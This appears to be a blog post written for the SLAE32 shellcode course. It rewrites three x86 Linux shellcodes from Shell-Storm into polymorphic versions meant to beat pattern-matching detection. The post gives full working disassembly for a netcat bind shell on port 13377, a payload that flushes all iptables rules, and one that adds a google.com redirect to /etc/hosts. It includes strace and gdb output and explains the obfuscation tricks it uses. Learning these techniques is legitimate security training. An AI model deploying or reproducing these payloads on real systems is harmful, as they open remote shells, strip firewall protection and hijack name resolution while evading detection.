SLAE32: Creating polymorphic versions of existing shellcode


The blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-990

Assignment #6


Description

  • Take up 3 shellcodes from Shell-Storm and create polymorphic versions of them to beat pattern matching
  • The polymorphic versions cannot be larger than 150% of the existing shellcode
  • Bonus points for making it shorter in length than original

Shellcode 1: shellcode-804.php

Location: http://shell-storm.org/shellcode/files/shellcode-804.php

What it does

If we run the shellcode with strace we can see the command it ends up executing. In the case of this executable it runs “/bin//////nc -lvve/bin/sh -vp13377”. All of the text for these commands are pushed onto the stack and the registers are loaded up with pointers to the stack with their locations.

[sengen@manjaro-x86 assignment6]$ strace -e execve ./shellcode-804
execve("./shellcode-804", ["./shellcode-804"], 0xbfa21108 /* 55 vars */) = 0
execve("/bin//////nc", ["/bin//////nc", "-lvve/bin/sh", "-vp13377\1"], NULL) = 0
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: CB02 CE67 7AE9 8A2B 64F0 6EA5 82B2 DE8B 869D 365C
NCAT DEBUG: Initialized fdlist with 103 maxfds
Ncat: Listening on :::13377
NCAT DEBUG: Added fd 3 to list, nfds 1, maxfd 3
Ncat: Listening on 0.0.0.0:13377
NCAT DEBUG: Added fd 4 to list, nfds 2, maxfd 4
NCAT DEBUG: Added fd 0 to list, nfds 3, maxfd 4
NCAT DEBUG: Initialized fdlist with 100 maxfds
NCAT DEBUG: selecting, fdmax 4

The original shellcode

The starting shellcode is pretty straight forward and pushes the exactly text for the command onto the stack for execve to execute. The original size of this shellcode is 64 bytes (150% would be 96 bytes).

08048080 <_start>:
 8048080:	31 c0                	xor    eax,eax
 8048082:	31 d2                	xor    edx,edx
 8048084:	68 33 33 37 37       	push   0x37373333 ; "7733"
 8048089:	68 2d 76 70 31       	push   0x3170762d ; "1pv-"
 804808e:	89 e2                	mov    edx,esp
 8048090:	50                   	push   eax
 8048091:	68 6e 2f 73 68       	push   0x68732f6e ; "hs/n"
 8048096:	68 65 2f 62 69       	push   0x69622f65 ; "ib/e"
 804809b:	68 2d 6c 76 76       	push   0x76766c2d ; "vvl-"
 80480a0:	89 e1                	mov    ecx,esp
 80480a2:	50                   	push   eax
 80480a3:	68 2f 2f 6e 63       	push   0x636e2f2f ; "cn//"
 80480a8:	68 2f 2f 2f 2f       	push   0x2f2f2f2f ; "////"
 80480ad:	68 2f 62 69 6e       	push   0x6e69622f ; "nib/"
 80480b2:	89 e3                	mov    ebx,esp
 80480b4:	50                   	push   eax
 80480b5:	52                   	push   edx
 80480b6:	51                   	push   ecx
 80480b7:	53                   	push   ebx
 80480b8:	31 d2                	xor    edx,edx
 80480ba:	89 e1                	mov    ecx,esp
 80480bc:	b0 0b                	mov    al,0xb
 80480be:	cd 80                	int    0x80

The changes

To change the instructions around a bit so the opcodes become quite different from the original I’ve changed the hex that is being pushed to the stack by first calculating offline what add dword [esp],0x11111111 to each dword would be. The resulting dwords are what are placed in the assembly and pushed to the stack. Additionally, the null bytes between each string are now 0x11111111.

Once this is in place I let the stack build up with the mangled values right up to the point of where the execve would be called. The stack now looks like the following:

gdb$ x/14wx $esp
0xbffff0c8:	0xbffff0d8	0xbffff0e8	0xbffff0f8	0x11111111
0xbffff0d8:	0x7f7a7340	0x40404040	0x747f4040	0x11111111
0xbffff0e8:	0x87877d3e	0x7a734076	0x7984407f	0x11111111
0xbffff0f8:	0x4281873e	0x48484444

The first three dwords are pointers to the stack where the strings are located so we don’t want to touch those. However, the 4th to 14th consecutive dword in the stack need to have sub dword [esp],0x11111111 applied to it.

I use the following loop to accomplish this:

sub_loop:
    sub dword [esp+8+ecx*4],0x11111111
    dec cx
    jnz sub_loop

The stack now looks like:

gdb$ x/14wx $esp
0xbffff0c8:	0xbffff0d8	0xbffff0e8	0xbffff0f8	0x00000000
0xbffff0d8:	0x6e69622f	0x2f2f2f2f	0x636e2f2f	0x00000000
0xbffff0e8:	0x76766c2d	0x69622f65	0x68732f6e	0x00000000
0xbffff0f8:	0x3170762d	0x37373333

This modified shellcode resulted in 86 bytes which is around 134% of the original.

08048080 <_start>:
 8048080:	31 c0                	xor    eax,eax
 8048082:	b8 11 11 11 11       	mov    eax,0x11111111
 8048087:	31 d2                	xor    edx,edx
 8048089:	68 44 44 48 48       	push   0x48484444 ; "HHDD"
 804808e:	68 3e 87 81 42       	push   0x4281873e ; "B‡>"
 8048093:	89 e2                	mov    edx,esp
 8048095:	50                   	push   eax
 8048096:	68 7f 40 84 79       	push   0x7984407f ; "y„@"
 804809b:	68 76 40 73 7a       	push   0x7a734076 ; "zs@v"
 80480a0:	68 3e 7d 87 87       	push   0x87877d3e ; "‡‡}>"
 80480a5:	89 e1                	mov    ecx,esp
 80480a7:	50                   	push   eax
 80480a8:	68 40 40 7f 74       	push   0x747f4040 ; "t@@"
 80480ad:	68 40 40 40 40       	push   0x40404040 ; "@@@@"
 80480b2:	68 40 73 7a 7f       	push   0x7f7a7340 ; "zs@"
 80480b7:	89 e3                	mov    ebx,esp
 80480b9:	50                   	push   eax
 80480ba:	52                   	push   edx
 80480bb:	51                   	push   ecx
 80480bc:	53                   	push   ebx
 80480bd:	31 d2                	xor    edx,edx
 80480bf:	b0 0b                	mov    al,0xb
 80480c1:	31 c9                	xor    ecx,ecx
 80480c3:	b1 0b                	mov    cl,0xb
 80480c5:	89 c8                	mov    eax,ecx

080480c7 <sub_loop>:
 80480c7:	81 6c 8c 08 11 11 11 	sub    DWORD PTR [esp+ecx*4+0x8],0x11111111
 80480ce:	11 
 80480cf:	66 49                	dec    cx
 80480d1:	75 f4                	jne    80480c7 <sub_loop>
 80480d3:	89 e1                	mov    ecx,esp
 80480d5:	cd 80                	int    0x80

Shellcode 2: shellcode-65.php

Location: http://shell-storm.org/shellcode/files/shellcode-65.php

What it does

This shellcode flushes all rules using ipchains. Note: I have made a slight modification to the original shellcode in which it will use iptables instead of ipchains.

The original shellcode

The size of the shellcode is 40 bytes.

08048080 <_start>:
8048080:	6a 0b                	push   0xb        ; 
8048082:	58                   	pop    eax        ; eax = 11 (execve)
8048083:	99                   	cdq               ; edx = 0 (eax extend)
8048084:	52                   	push   edx        ; push null byte to stack
8048085:	66 68 2d 46          	pushw  0x462d     ; "F-"
8048089:	89 e1                	mov    ecx,esp    ; ecx = pointer to "-F"
804808b:	52                   	push   edx        ; push null byte to stack
804808c:	66 68 65 73          	pushw  0x7365     ; "se"
8048090:	68 74 61 62 6c       	push   0x6c626174 ; "lbat"
8048095:	68 6e 2f 69 70       	push   0x70692f6e ; "pi/n"
804809a:	68 2f 73 62 69       	push   0x6962732f ; "ibs/"
804809f:	89 e3                	mov    ebx,esp    ; ebx = /sbin/iptables
80480a1:	52                   	push   edx        ; push edx (\0)
80480a2:	51                   	push   ecx        ; push ecx (-F)
80480a3:	53                   	push   ebx        ; push ebx (/sbin/iptables)
80480a4:	89 e1                	mov    ecx,esp    ; ecx = pointer to stack
80480a6:	cd 80                	int    0x80       ; execve

The changes

In this example the changes are made by doing three things different: Changing registers used, changing order in which strings are pushed to the stack, and changing the program path by adding in some slashes.

Changing registers

EDX is no longer used in the new shellcode and instead EAX is used to push null bytes. At the very end we re-use this register to indirectly push 11 into it.

xor eax,eax
...
mov ax,0xa
inc ax

Changing order of pushes

The original shellcode pushed in the expected order of “-F” then “/sbin/iptables”. In the new version this is flipped but of course, in the end we still must push the pointers to the strings in the proper order and that cannot change.

Changing program path

Finally, we change the program path from “/sbin/iptables” to “//sbin//iptables”. We can add as many slashes as we want and this has no effect on things executing properly. Performing this small action changes the opcodes.

Before:

66 68 65 73          	pushw  0x7365
68 74 61 62 6c       	push   0x6c626174
68 6e 2f 69 70       	push   0x70692f6e
68 2f 73 62 69       	push   0x6962732f

After:

68 62 6c 65 73       	push   0x73656c62
68 69 70 74 61       	push   0x61747069
68 69 6e 2f 2f       	push   0x2f2f6e69
68 2f 2f 73 62       	push   0x62732f2f

The final shellcode is just slightly larger than the original and sits at 45 bytes (about a 107% of the original).

08048080 <_start>:
8048080:	31 c0                	xor    eax,eax
8048082:	50                   	push   eax
8048083:	68 62 6c 65 73       	push   0x73656c62
8048088:	68 69 70 74 61       	push   0x61747069
804808d:	68 69 6e 2f 2f       	push   0x2f2f6e69
8048092:	68 2f 2f 73 62       	push   0x62732f2f
8048097:	89 e3                	mov    ebx,esp
8048099:	50                   	push   eax
804809a:	66 68 2d 46          	pushw  0x462d
804809e:	89 e1                	mov    ecx,esp
80480a0:	50                   	push   eax
80480a1:	51                   	push   ecx
80480a2:	53                   	push   ebx
80480a3:	89 e1                	mov    ecx,esp
80480a5:	b0 0a               	mov    al,0xa
80480a9:	66 40                	inc    ax
80480ab:	cd 80                	int    0x80

Shellcode 3: shellcode-893.php

Location: http://shell-storm.org/shellcode/files/shellcode-893.php

What it does

This shellcode will add a new entry into the /etc/hosts file for “127.1.1.1 google.com”.

The original shellcode

The shellcode takes up 77 bytes.

08048080 <_start>:
8048080:	31 c9                	xor    ecx,ecx
8048082:	f7 e1                	mul    ecx
8048084:	b0 05                	mov    al,0x5
8048086:	51                   	push   ecx
8048087:	68 6f 73 74 73       	push   0x7374736f
804808c:	68 2f 2f 2f 68       	push   0x682f2f2f
8048091:	68 2f 65 74 63       	push   0x6374652f
8048096:	89 e3                	mov    ebx,esp
8048098:	66 b9 01 04          	mov    cx,0x401
804809c:	cd 80                	int    0x80
804809e:	93                   	xchg   ebx,eax
804809f:	6a 04                	push   0x4
80480a1:	58                   	pop    eax
80480a2:	eb 10                	jmp    80480b4 <_load_data>

080480a4 <_write>:
80480a4:	59                   	pop    ecx
80480a5:	6a 14                	push   0x14
80480a7:	5a                   	pop    edx
80480a8:	cd 80                	int    0x80
80480aa:	6a 06                	push   0x6
80480ac:	58                   	pop    eax
80480ad:	cd 80                	int    0x80
80480af:	6a 01                	push   0x1
80480b1:	58                   	pop    eax
80480b2:	cd 80                	int    0x80

080480b4 <_load_data>:
80480b4:	e8 eb ff ff ff       	call   80480a4 <_write>

080480b9 <google>:
80480b9:	31 32                	xor    DWORD PTR [edx],esi
80480bb:	37                   	aaa    
80480bc:	2e 31 2e             	xor    DWORD PTR cs:[esi],ebp
80480bf:	31 2e                	xor    DWORD PTR [esi],ebp
80480c1:	31 20                	xor    DWORD PTR [eax],esp
80480c3:	67 6f                	outs   dx,DWORD PTR ds:[si]
80480c5:	6f                   	outs   dx,DWORD PTR ds:[esi]
80480c6:	67 6c                	ins    BYTE PTR es:[di],dx
80480c8:	65 2e 63 6f 6d       	gs arpl WORD PTR cs:[edi+0x6d],bp

The changes

We start by changing the way we zero out our registers. Instead of using the mul instruction we just zero out EAX and then use cdq to extend EAX to EDX affectively zeroing out EDX. We also use push/pop to setup our syscall values as opposed to mov statements.

xor eax,eax
cdq
...
push byte 5
pop eax

Instead of pushing the hex for /etc/hosts to the stack moving a pointer of ESP to EBX we instead opt to use the jmp/call/pop technique to acquire this value and save it into EBX. This saves us some space which allows us to get a smaller shellcode than the original.

  jmp short _file
_file_load:
  pop ebx
_file:
  call _file_load
  db "/etc/hosts"

The resulting shellcode size is 71 bytes which is smaller than the 77 bytes of the original. The new code is shown below:

08048080 <_start>:
8048080:	31 c0                	xor    eax,eax
8048082:	99                   	cdq    
8048083:	6a 05                	push   0x5
8048085:	58                   	pop    eax
8048086:	52                   	push   edx
8048087:	eb 36                	jmp    80480bf <_file>

08048089 <_file_load>:
8048089:	5b                   	pop    ebx
804808a:	66 b9 01 04          	mov    cx,0x401
804808e:	cd 80                	int    0x80
8048090:	93                   	xchg   ebx,eax
8048091:	6a 04                	push   0x4
8048093:	58                   	pop    eax
8048094:	eb 10                	jmp    80480a6 <_load_data>

08048096 <_write>:
8048096:	59                   	pop    ecx
8048097:	6a 14                	push   0x14
8048099:	5a                   	pop    edx
804809a:	cd 80                	int    0x80
804809c:	6a 06                	push   0x6
804809e:	58                   	pop    eax
804809f:	cd 80                	int    0x80
80480a1:	6a 01                	push   0x1
80480a3:	58                   	pop    eax
80480a4:	cd 80                	int    0x80

080480a6 <_load_data>:
80480a6:	e8 eb ff ff ff       	call   8048096 <_write>
80480ab:	31 32                	xor    DWORD PTR [edx],esi
80480ad:	37                   	aaa    
80480ae:	2e 31 2e             	xor    DWORD PTR cs:[esi],ebp
80480b1:	31 2e                	xor    DWORD PTR [esi],ebp
80480b3:	31 20                	xor    DWORD PTR [eax],esp
80480b5:	67 6f                	outs   dx,DWORD PTR ds:[si]
80480b7:	6f                   	outs   dx,DWORD PTR ds:[esi]
80480b8:	67 6c                	ins    BYTE PTR es:[di],dx
80480ba:	65 2e 63 6f 6d       	gs arpl WORD PTR cs:[edi+0x6d],bp

080480bf <_file>:
80480bf:	e8 c5 ff ff ff       	call   8048089 <_file_load>
80480c4:	2f                   	das    
80480c5:	65 74 63             	gs je  804812b <_end+0x5b>
80480c8:	2f                   	das    
80480c9:	68 6f 73 74 73       	push   0x7374736f

Source code

All source code for this assignment can be found at
https://github.com/tdmathison/SLAE32/tree/master/assignment6.

comments powered by Disqus